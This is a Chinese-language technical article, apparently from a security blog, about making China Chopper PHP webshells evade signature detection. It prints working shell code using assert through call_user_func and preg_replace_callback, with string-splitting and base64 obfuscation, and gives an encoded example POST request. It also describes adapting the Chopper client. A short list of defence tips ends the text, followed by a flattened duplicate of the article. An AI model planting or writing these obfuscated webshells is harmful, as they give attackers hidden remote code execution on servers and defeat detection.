通过修改源代码达到菜刀无特征链接
字数 1030 2025-08-26 22:11:45

通过修改源代码实现菜刀无特征链接的技术分析

0x01 前言

本文主要探讨如何通过修改源代码实现中国菜刀(China Chopper)Webshell的无特征连接技术。传统的一句话木马容易被安全防护设备检测,因此需要研究绕过检测的方法。

0x02 技术思路分析

在PHP环境中,实现无特征连接主要考虑以下三种技术路线:

  1. 类(Class)语法特性:利用PHP类的特性构造执行环境
  2. 函数(Function):通过函数封装执行代码
  3. 回调函数(Callback):利用PHP的回调函数机制执行代码

经过实际测试,前两种方法在assert函数中无法使用,因此重点研究回调函数技术。

0x03 回调函数技术实现

PHP中常用的回调函数有四种:

  1. call_user_func
  2. call_user_func_array
  3. array_map
  4. preg_replace_callback

3.1 基础Webshell代码

<?php
assert($_POST['xxx']);
?>

3.2 使用call_user_func实现

基本语法:

call_user_func(函数名, 参数1, 参数2);

应用到Webshell:

<?php
call_user_func('assert', $_POST['action']);
?>

3.3 绕过安全检测的改进方案

使用字符串拼接和base64编码绕过特征检测:

<?php
call_user_func('ass'.'ert', call_user_func(base64_decode, $_POST[action]));
?>

请求示例:

POST /shell.php HTTP/1.1
...
xxx=call_user_func('ass'.'ert',call_user_func(base64_decode,$_POST[action]))&action=%63%47%68%77%61%57%35%6d%62%79%67%70%4f%77%3d%3d

3.4 使用preg_replace_callback实现

更高级的实现方式:

<?php
function test($name){
    $name[1](base64_decode($name[2]));
}

preg_replace_callback("/-(.*?)-(.*?)-/", 'test', "-assert-{$_POST['action']}-");
?>

0x04 中国菜刀配置修改

为了使中国菜刀能够正确连接这种特殊构造的Webshell,需要修改菜刀的配置文件:

  1. 修改请求参数格式,匹配新的回调函数结构
  2. 调整payload编码方式,确保与Webshell的解码逻辑一致
  3. 更新特征字符串,避免被防护设备识别

技术要点总结

  1. assert限制:在assert或eval中不能直接使用function和class
  2. 字符串混淆:使用字符串拼接('ass'.'ert')绕过简单特征检测
  3. 多层编码:结合base64和URL编码实现payload隐藏
  4. 回调函数选择:不同回调函数提供不同的混淆可能性
  5. 客户端适配:需要同步修改连接工具配置以匹配新的Webshell结构

防御建议

  1. 禁用危险函数:如assertevalsystem
  2. 监控回调函数使用:特别是动态函数调用
  3. 检查异常字符串拼接:关注非常规的字符串连接操作
  4. 实施行为分析:检测异常的base64解码链式调用
  5. 限制POST参数使用:特别是直接用于代码执行的参数

通过以上技术手段,可以实现较为隐蔽的Webshell连接,同时安全团队也需要针对这些技术特点更新防护策略。

通过修改源代码实现菜刀无特征链接的技术分析 0x01 前言 本文主要探讨如何通过修改源代码实现中国菜刀(China Chopper)Webshell的无特征连接技术。传统的一句话木马容易被安全防护设备检测,因此需要研究绕过检测的方法。 0x02 技术思路分析 在PHP环境中,实现无特征连接主要考虑以下三种技术路线: 类(Class)语法特性 :利用PHP类的特性构造执行环境 函数(Function) :通过函数封装执行代码 回调函数(Callback) :利用PHP的回调函数机制执行代码 经过实际测试,前两种方法在 assert 函数中无法使用,因此重点研究回调函数技术。 0x03 回调函数技术实现 PHP中常用的回调函数有四种: call_user_func call_user_func_array array_map preg_replace_callback 3.1 基础Webshell代码 3.2 使用call_ user_ func实现 基本语法: 应用到Webshell: 3.3 绕过安全检测的改进方案 使用字符串拼接和base64编码绕过特征检测: 请求示例: 3.4 使用preg_ replace_ callback实现 更高级的实现方式: 0x04 中国菜刀配置修改 为了使中国菜刀能够正确连接这种特殊构造的Webshell,需要修改菜刀的配置文件: 修改请求参数格式,匹配新的回调函数结构 调整payload编码方式,确保与Webshell的解码逻辑一致 更新特征字符串,避免被防护设备识别 技术要点总结 assert限制 :在assert或eval中不能直接使用function和class 字符串混淆 :使用字符串拼接('ass'.'ert')绕过简单特征检测 多层编码 :结合base64和URL编码实现payload隐藏 回调函数选择 :不同回调函数提供不同的混淆可能性 客户端适配 :需要同步修改连接工具配置以匹配新的Webshell结构 防御建议 禁用危险函数:如 assert 、 eval 、 system 等 监控回调函数使用:特别是动态函数调用 检查异常字符串拼接:关注非常规的字符串连接操作 实施行为分析:检测异常的base64解码链式调用 限制POST参数使用:特别是直接用于代码执行的参数 通过以上技术手段,可以实现较为隐蔽的Webshell连接,同时安全团队也需要针对这些技术特点更新防护策略。